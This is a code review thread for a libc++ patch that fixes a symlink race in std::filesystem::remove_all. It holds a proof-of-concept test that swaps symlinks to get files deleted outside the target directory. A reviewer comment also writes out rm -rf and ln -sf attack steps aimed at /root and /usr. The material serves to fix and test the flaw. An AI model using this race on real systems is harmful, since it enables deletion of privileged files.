[libc++] Fix TOCTOU issue with std::filesystem::remove_all

[ldionne]

Summary

https://bugs.chromium.org/p/llvm/issues/detail?id=19
rdar://87912416

[• Quuxplusone]

Further discussion is on /r/cpp: https://old.reddit.com/r/cpp/comments/s8ok0h/possible_toctou_vulnerabilities_in/hti8jyt/
(Remember I told you Niall Douglas was once working on a thing for secure filesystem? There he is talking about it!)

libcxx/include/__filesystem/directory_options.h

26

Please add a trailing comma here too, so you don't have to touch this line next time. :)

libcxx/src/filesystem/directory_iterator.cpp

200

Surely you should check if (fd == -1) (or even if (fd < 0)) here, and bail down to line 206 if needed.

207

Pre-existing: allow_eacces

libcxx/src/filesystem/operations.cpp

1377

Doesn't this flatten/round-trip everything back through path, which means you have the symlink vulnerability again at this level?

Suppose I ask to remove_all("/tmp/foo"). The STL securely/atomically opens /tmp/foo as a directory (detecting and rejecting any attempt by me to rm -rf /tmp/foo ; ln -sf /root /tmp/foo). Then it starts iterating over that open directory. (At this point I can ln -sf /root /tmp/foo if I want, but it won't matter because the STL is already iterating over the real inode and no longer cares what's at that path in the filesystem.)
The STL removes /tmp/foo/a.txt. Then it sees a subdirectory /tmp/foo/bin. So it... uh... goes back to open the path /tmp/foo/bin?? But in the meantime, I have done rm -rf /tmp/foo ; ln -sf /usr /tmp/foo. So now when the STL opens the path /tmp/foo/bin, it's secretly opening /usr/bin, and will happily delete everything out of it. (Notice that bin there is not a symlink, so O_NOFOLLOW is happy.)

I believe that a proper fix for this issue requires using [openat](https://linux.die.net/man/2/openat) at every level. As soon as the code touches fs::path, it's game over. (Bonus: fs::path does a ton of heap allocation, but with openat I suspect you never need to allocate, do you?)

[ldionne]

Completely new approach using parent file descriptors. I'm aware this patch as-is won't compile on Windows -- I'll fix that once I'm confident the base patch is alright. Windows is not affected by this issue anyway.

libcxx/src/filesystem/directory_iterator.cpp

207

Fixed in a separate NFC commit.

libcxx/src/filesystem/operations.cpp

1377

Yeah, I think you're right. I don't know how to retrofit that on top of directory_iterator though. We could technically do it using recursive_directory_iterator, but it would be way more complicated.

I want to get this patch landed ASAP, so I'm going to upload another approach based entirely on top of the openat, unlinkat & friends API, without using directory_iterator at all. Please take a look -- once we're confident we're solving the problem properly, we can try to figure out how to polish the rough edges after landing it.

[ldionne]

Also adding @jwakely @STL_MSFT for awareness. In particular, @jwakely it looks like the initial approach I (we?) had taken using directory_iterator was too naive.

[ojhunt]

libcxx/src/filesystem/filesystem_common.h

572 ↗

(On Diff #403052)

(non-libc++ expert) Sorry if this is a dumb question: is capture_errno() API? is it safe to have in a header?

[• Quuxplusone]

libcxx/src/filesystem/directory_iterator.cpp

77

I wonder if it would be simpler to just move remove_all into this .cpp file. A priori (without seeing that this diff is where they came from) it's weird to see static functions in a .h file.

libcxx/src/filesystem/filesystem_common.h

570 ↗

(On Diff #403052)

Seems like a perfect place for if (struct dirent *dir_entry_ptr = ::readdir(dir_stream)) { ... (and swap the if/else branches).

Btw, for anyone else who's confused why we aren't using ::readdir_r, apparently ::readdir is equally thread-safe on modern systems (at least, those modern systems documented by LWN ;)) https://lwn.net/Articles/696474/ We should expect that dir_entry_ptr will point to some memory located physically inside the footprint of *dir_stream (as opposed to some static buffer or something).

However, I now also see that this code simply moved from directory_iterator.cpp (and have suggested that maybe remove_all should move over there instead), in which case there's no need to drive-by refactor any of this particular function.

libcxx/src/filesystem/operations.cpp

1381

Any reason for intmax_t here but uintmax_t in the function return type? I suggest consistency, but don't care which.

1383

Consider a documentary static_assert(std::is_same_v<decltype(str), std::string_view> here, because comparing auto to a string literal smells like it might be a pointer comparison, and that would suck.

1384

Style: For this if-else ladder, I'd prefer either what-you've-got-minus-all-the-else-keywords, or

if (ec == errc::no_such_file_or_directory) {
  // Not an error; `p` might have moved or been deleted already.
  ec.clear();
  return 0;
} else if (ec == errc::not_a_directory) {
  // Remove `p` as a normal file instead.
  ec.clear();
  ~~~

i.e., put the commentary for each branch on the branch, and cuddle the elses as usual.

1385

If anything below were actually to throw an exception, then our count would be wrong. But this simplifies the early-return cases even in the absence of exceptions, so I assume that's why you did it.

1394

FWIW, this line is still racey:
https://stackoverflow.com/questions/28517236/can-posix-linux-unlink-file-entries-completely-race-free
https://bugzilla.kernel.org/show_bug.cgi?id=93441
The primitive that we need here is "remove-parent_directory's-child-named-p-iff-it-still-refers-to-the-same-inode-as-fd", i.e., a sort of compare-exchange primitive, which Linux does not provide and which is impossible to emulate in userspace.

So, this line right here is already the state of the art, and I can't think of anything better to do than to be OK with it.

Also, at first glance I can't see any way to really "exploit" this race. Either (happy path) you remove the now-empty directory you intended to; or the attacker moves that now-empty directory out of the way and puts their own thing in its place which you fail to delete (because it's not a directory, or because it's a non-empty directory); or the attacker moves that now-empty directory out of the way and puts their own empty directory in its place and you delete it (but it was an empty directory, and it wasn't a symlink (because it was a directory), so who cares).
Also, we will always have this same race on the front side of the transaction: the programmer gives us a fs::path and we start removing whatever's there now, not whatever was there when the programmer decided to call into us.

1400

It would seem simpler to move this down below the if, and get rid of the if (stream != nullptr) inside the lambda. (Also personally I'd capture [&] rather than [stream], because nothing weird is going on here.)
Analogous comments may apply to fd above.

libcxx/test/std/input.output/filesystems/fs.op.funcs/fs.op.remove_all/toctou.pass.cpp

38–39

Running this test deletes whatever I have in /tmp/mydir/victim_del? I suggest not committing this as-is. 😛
Looks like the existing tests use things like env.create_dir and env.create_file to avoid messing with the user's own files.

79

(If this is intended for commit at all) Consider adding another test for the subdirectory case I brought up in my previous review.

[ldionne]

libcxx/src/filesystem/directory_iterator.cpp

77

I hadn't noticed they were static. I think it would be entirely fine to make them non-static and leave them in the header, but I'd rather not move remove_all into this file, it seems pretty weird to have that operation (and only that one) inside directory_iterator.cpp.

Edit: After looking more at the contents of the file, there's a bunch of static functions and almost everything is defined in an anonymous namespace. Honestly, it's just weird. I'll make the move as-is in a separate commit and we can take an action item to go back and refactor this later.

libcxx/src/filesystem/filesystem_common.h

570 ↗

(On Diff #403052)

Right, I think I'll move the code in a separate commit to make this less confusing.

572 ↗

(On Diff #403052)

filesystem_common.h is only used inside the sources of libc++ used for building the shared library. But yeah, I think it would be fine regardless, it's just a helper function.

libcxx/src/filesystem/operations.cpp

1381

Sorry, that was a typo. It should have been uintmax_t, thanks for spotting.

1385

Yes, simplifying the cleanup (without worrying about exceptions) is the purpose of this class. I am assuming that nothing throws in the filesystem code because we are always using the error_code version of functions.

1394

Right, I agree -- I hadn't thought about this race but I think we're both on the same page that it is benign (and also unavoidable without different OS APIs).

[ldionne]

Address all comments except for adding a second test.

[ldionne]

Use the old implementation on systems that don't have openat.

[ldionne]

Use _AIX instead of MVS to guard.

@daltenty Note that it looks like AIX does provide those POSIX functions, but the tests fail
when I start using my implementation on AIX. If someone who works on AIX has an appetite to
take a look, it might be good to enable the new (safe) implementation on AIX too.

[ldionne]

Add some UNSUPPORTED for Windows and AIX.

[ldionne]

I'd like to ship this before LLVM 14, so if folks can take a look, it would be awesome.

Also, adding vendors so they are aware of this. In particular, we don't implement this fix on AIX, Windows and MinGW . On AIX it's because somehow the remove_all test starts failing when we use the implementation based on openat(), and on MinGW/Windows it's because the OS doesn't implement the right APIs AFAICT. If people who manage these platforms want to take a look, this is the notice.

[mati865]

Looking at Rust's fix over https://github.com/rust-lang/rust/commit/4f0ad1c92ca08da6e8dc17838070975762f59714 seems like there is API added in Windows 10 to solve it (I don't know how effective though).
I'm not going to work on this myself but leaving the link in case somebody else wants to give it a try.

[mstorsjo]

Thanks, noted. I don't believe I have the bandwidth to fix this right now before the 14.x branch early next week though, so the current form of the patch seems sensible wrt Windows I think.

In D118134#3277706, @mati865 wrote:

Looking at Rust's fix over https://github.com/rust-lang/rust/commit/4f0ad1c92ca08da6e8dc17838070975762f59714 seems like there is API added in Windows 10 to solve it (I don't know how effective though).

The use of SetFileInformationByHandle(FileDispositionInfoEx) with FILE_DISPOSITION_FLAG_POSIX_SEMANTICS doesn't seem to be the core of the fix. The core of the fix is to rewrite directory iteration with something that operates on an open handle, instead of something given a path. In the Rust fix, this is done with GetFileInformationByHandleEx(FileIdBothDirectoryInfo) (which I would believe exists earlier).

So we could open a handle to the intended path with FILE_FLAG_OPEN_REPARSE_POINT (so it doesn't follow symlinks), then inspect whether it's a regular file or a directory, and if a directory, iterate over its contents without closing the handle and using a path name again. (Currently we use the generic directory iterators, which are built on top of FindFirstFileW/FindNextFileW.)

libcxx/src/filesystem/operations.cpp

49

This header can't be included unconditionally on all OSes.

[ldionne]

Don't include <dirent.h> unconditionally.

[daltenty]

Thanks for pinging us on this. After taking a look at the AIX test failure, and dumping the error_code we get back from the new implementation, I think this is actually due to some ambiguity in the expected errno when the combination of O_DIRECTORY and O_NOFOLLOW is used and the path is a symlink.

https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html

O_DIRECTORY
If path resolves to a non-directory file, fail and set errno to [ENOTDIR].
O_NOFOLLOW
If path names a symbolic link, fail and set errno to [ELOOP].
`

See the following test program:

#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main() {
	mkdir("foo", S_IRWXU);
	symlink("foo", "bar");
	int ret=openat(AT_FDCWD, "bar", O_CLOEXEC | O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
	if (errno==ENOTDIR) {
	  printf("ENOTDIR\n");
	} else if (errno==ELOOP) {
	  printf("ELOOP\n");
	}
	return 0;
}

Which will it seems will give you ENOTDIR on MacOS and some Linux, but gives ELOOP on AIX (and interestingly RHEL Linux on Power).

libcxx/src/filesystem/operations.cpp

1471

Seems like we need to address the too_many_symbolic_link_levels error case with O_NOFOLLOW

[ldionne]

Address failure caused by symlink on AIX.

[ldionne]

In D118134#3281500, @daltenty wrote:

Thanks for pinging us on this. After taking a look at the AIX test failure, and dumping the error_code we get back from the new implementation, I think this is actually due to some ambiguity in the expected errno when the combination of O_DIRECTORY and O_NOFOLLOW is used and the path is a symlink.

Sure thing, thanks a lot for investigating. I'm re-uploading the patch with a fix and I'm enabling the fix on AIX -- let's see if CI is happy (I can't test on that platform locally).

[ldionne]

The release branch is apparently being cut today. I'm going to ship this now because I don't want to miss the deadline with this fix, but please feel free to comment if you see potential issues/improvements and I'll implement them (and cherry-pick onto LLVM 14).

[jwakely]

In D118134#3281500, @daltenty wrote:

Thanks for pinging us on this. After taking a look at the AIX test failure, and dumping the error_code we get back from the new implementation, I think this is actually due to some ambiguity in the expected errno when the combination of O_DIRECTORY and O_NOFOLLOW is used and the path is a symlink.

I've just hit the same case for GCC on AIX. Arguably POSIX is clear and AIX is right. For the case being discussed we have a symlink to a directory, so the path *names* a symlink, but *resolves* to a directory. So ELOOP is right.

I'll raise this with glibc.

libcxx/include/__filesystem/directory_options.h

 
 _LIBCPP_BEGIN_NAMESPACE_FILESYSTEM
 
 _LIBCPP_AVAILABILITY_FILESYSTEM_PUSH
 
 enum class _LIBCPP_ENUM_VIS directory_options : unsigned char {
   none = 0,
   follow_directory_symlink = 1,
-  skip_permission_denied = 2
+  skip_permission_denied = 2,
+  __disallow_root_directory_symlink = 4
 };
 
 _LIBCPP_INLINE_VISIBILITY
 inline constexpr directory_options operator&(directory_options _LHS,
                                              directory_options _RHS) {
   return static_cast<directory_options>(static_cast<unsigned char>(_LHS) &
                                         static_cast<unsigned char>(_RHS));
 }

libcxx/src/filesystem/directory_iterator.cpp

if ((dir_entry_ptr = ::readdir(dir_stream)) == nullptr) {
     if (errno)
       ec = capture_errno();
     return {};
   } else {
     return {dir_entry_ptr->d_name, get_file_type(dir_entry_ptr, 0)};
   }
 }
 #else
 // defined(_LIBCPP_WIN32API)
 
 static file_type get_file_type(const WIN32_FIND_DATAW& data) {
   if (data.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT &&
       data.dwReserved0 == IO_REPARSE_TAG_SYMLINK)
     return file_type::symlink;
   if (data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
     return file_type::directory;
   return file_type::regular;
public:
   __dir_stream(__dir_stream&& other) noexcept : __stream_(other.__stream_),
                                                 __root_(move(other.__root_)),
                                                 __entry_(move(other.__entry_)) {
     other.__stream_ = nullptr;
   }
 
   __dir_stream(const path& root, directory_options opts, error_code& ec)
       : __stream_(nullptr), __root_(root) {
-    if ((__stream_ = ::opendir(root.c_str())) == nullptr) {
+    if (bool(opts & directory_options::__disallow_root_directory_symlink)) {
+      int fd = ::openat(AT_FDCWD, root.c_str(), O_CLOEXEC | O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
+      __stream_ = ::fdopendir(fd);
+    } else {
+      __stream_ = ::opendir(root.c_str());
+    }
+
+    if (__stream_ == nullptr) {
       ec = detail::capture_errno();
       const bool allow_eacess =
           bool(opts & directory_options::skip_permission_denied);
       if (allow_eacess && ec.value() == EACCES)
         ec.clear();
       return;
     }
     advance(ec);
   }
 

libcxx/src/filesystem/operations.cpp

 # include "fstream"
 # define _LIBCPP_FILESYSTEM_USE_FSTREAM
 #endif
 
 #if !defined(CLOCK_REALTIME) && !defined(_LIBCPP_WIN32API)
 # include <sys/time.h> // for gettimeofday and timeval
 #endif
 
 #if defined(__ELF__) && defined(_LIBCPP_LINK_RT_LIB)
 # pragma comment(lib, "rt")
 #endif
 
 _LIBCPP_BEGIN_NAMESPACE_FILESYSTEM
 
 namespace {
 
 bool isSeparator(path::value_type C) {
if (errno != ENOENT)
       err.report(capture_errno());
     return false;
   }
   return true;
 }
 
 namespace {
 
+// Removes the file at the given path and returns the number of files removed, i.e. 0 or 1.
+// If the path doesn't exist, 0 is returned and it is not considered an error.
+// If any other error occurs, `ec` is set accordingly and 0 is returned.
+uintmax_t remove_if_exists_impl(path const& p, error_code& ec) {
+  if (__remove(p, &ec)) {
+    return 1;
+  } else if (ec == errc::no_such_file_or_directory) {
+    ec.clear();
+  }
+  return 0;
+}
+
+// Removes all files in the directory represented by `p` and subdirectories.
+// This function doesn't follow symlinks, and it doesn't remove anything if
+// `p` is a symlink.
+//
+// If `p` doesn't exist, 0 is returned (this is not considered an error).
+// If any other error occurs, `ec` is set and `-1` is returned.
+// Otherwise, the number of entries deleted is returned.
 uintmax_t remove_all_impl(path const& p, error_code& ec) {
-  const auto npos = static_cast<uintmax_t>(-1);
-  const file_status st = __symlink_status(p, &ec);
-  if (ec)
-    return npos;
-  uintmax_t count = 1;
-  if (is_directory(st)) {
-    for (directory_iterator it(p, ec); !ec && it != directory_iterator();
-         it.increment(ec)) {
-      auto other_count = remove_all_impl(it->path(), ec);
-      if (ec)
-        return npos;
-      count += other_count;
+  uintmax_t count = 0;
+
+  // This `is_directory` check is just an optimization to avoid trying to create
+  // a `directory_iterator` on something that is definitely not a directory.
+  // `directory_iterator` won't allow being constructed on something that is not
+  // a directory anyway (including if a symlink is sneaked in).
+  if (is_directory(p)) {
+    directory_iterator it(p, directory_options::__disallow_root_directory_symlink, ec), end;
+    if (ec && ec == errc::no_such_file_or_directory) {
+      ec.clear();
+      return count;
     }
+
+    for (; !ec && it != end; it.increment(ec)) {
+      count += remove_all_impl(it->path(), ec);
       if (ec)
-      return npos;
-  }
-  if (!__remove(p, &ec))
-    return npos;
         return count;
     }
+  }
+
+  return count + remove_if_exists_impl(p, ec);
+}
 
 } // end namespace
 
 uintmax_t __remove_all(const path& p, error_code* ec) {
   ErrorHandler<uintmax_t> err("remove_all", ec, &p);
 
   error_code mec;
-  auto count = remove_all_impl(p, mec);
-  if (mec) {
-    if (mec == errc::no_such_file_or_directory)
-      return 0;
+  const file_status status = symlink_status(p, mec);
+  if (mec)
+    return mec == errc::no_such_file_or_directory ? 0 : err.report(mec);
+
+  // We can't just call `remove_all_impl` immediately because that wouldn't delete
+  // `p` if it is a symlink. We don't have to worry about races here -- if `p`
+  // becomes a symlink between `symlink_status` above and `remove_all_impl`
+  // below, `remove_all_impl` won't remove it.
+  uintmax_t count = is_symlink(status) ? remove_if_exists_impl(p, mec)
+                                       : remove_all_impl(p, mec);
+  if (mec)
     return err.report(mec);
-  }
   return count;
 }
 
 void __rename(const path& from, const path& to, error_code* ec) {
   ErrorHandler<void> err("rename", ec, &from, &to);
   if (detail::rename(from.c_str(), to.c_str()) == -1)
     err.report(capture_errno());
 }

 #else
   const char* env_paths[] = {"TMPDIR", "TMP", "TEMP", "TEMPDIR"};
   const char* ret = nullptr;
 
   for (auto& ep : env_paths)
     if ((ret = getenv(ep)))
       break;
   if (ret == nullptr)
     ret = "/tmp";
 
   path p(ret);
 #endif
   error_code m_ec;
   file_status st = detail::posix_stat(p, &m_ec);
   if (!status_known(st))
     return err.report(m_ec, "cannot access path " PATH_CSTR_FMT, p.c_str());
 

libcxx/test/std/input.output/filesystems/fs.op.funcs/fs.op.remove_all/toctou.pass.cpp

+//===----------------------------------------------------------------------===//
+//
+// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
+// See https://llvm.org/LICENSE.txt for license information.
+// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
+//
+//===----------------------------------------------------------------------===//
+
+// UNSUPPORTED: c++03
+// UNSUPPORTED: no-exceptions
+
+// <filesystem>
+
+// Test for a time-of-check to time-of-use issue with std::filesystem::remove_all.
+//
+// Scenario:
+// The attacker wants to get directory contents deleted, to which he does not have access.
+// He has a way to get a privileged binary call `std::filesystem::remove_all()` on a
+// directory he controls, e.g. in his home directory.
+//
+// The POC sets up the `attack_dest/attack_file` which the attacker wants to have deleted.
+// The attacker repeatedly creates a directory and replaces it with a symlink from
+// `victim_del` to `attack_dest` while the victim code calls `std::filesystem::remove_all()`
+// on `victim_del`. After a few seconds the attack has succeeded and
+// `attack_dest/attack_file` is deleted.
+//
+// This is taken from https://github.com/rust-lang/wg-security-response/blob/master/patches/CVE-2022-21658/0002-Fix-CVE-2022-21658-for-UNIX-like.patch
+
+#include <filesystem>
+#include <fstream>
+#include <iostream>
+#include <thread>
+
+int main() {
+  std::filesystem::path tmpdir = "/tmp/mydir";
+  std::filesystem::path victim_del_path = tmpdir / "victim_del";
+
+  // setup dest
+  std::filesystem::path attack_dest_dir = tmpdir / "attack_dest";
+  std::filesystem::create_directories(attack_dest_dir);
+  std::filesystem::path attack_dest_file = attack_dest_dir / "attack_file";
+  { std::ofstream of(attack_dest_file); }
+
+  // victim just continuously removes `victim_del`
+  bool stop = false;
+  std::thread t{[&]() {
+    while (!stop) {
+      try {
+        std::filesystem::remove_all(victim_del_path);
+      } catch (std::filesystem::filesystem_error const&) {
+        // ignore
+      }
+    }
+  }};
+
+  // attacker (could of course be in a separate process)
+  auto start_time = std::chrono::system_clock::now();
+  auto elapsed_since = [](auto const& time_point) {
+      return std::chrono::duration_cast<std::chrono::seconds>(std::chrono::system_clock::now() - time_point);
+  };
+  bool attack_succeeded = false;
+  while (elapsed_since(start_time) < std::chrono::seconds(5)) {
+    if (!std::filesystem::exists(attack_dest_file)) {
+      std::cout << "Victim deleted symlinked file outside of victim_del. Attack succeeded in "
+                << elapsed_since(start_time).count() << " seconds." << std::endl;
+      attack_succeeded = true;
+      break;
+    }
+    try {
+      std::filesystem::create_directory(victim_del_path);
+    } catch (std::filesystem::filesystem_error const&) {
+      continue;
+    }
+    std::filesystem::remove(victim_del_path);
+    std::filesystem::create_directory_symlink(attack_dest_dir, victim_del_path);
+  }
+  stop = true;
+  t.join();
+
+  return attack_succeeded ? 1 : 0;
+}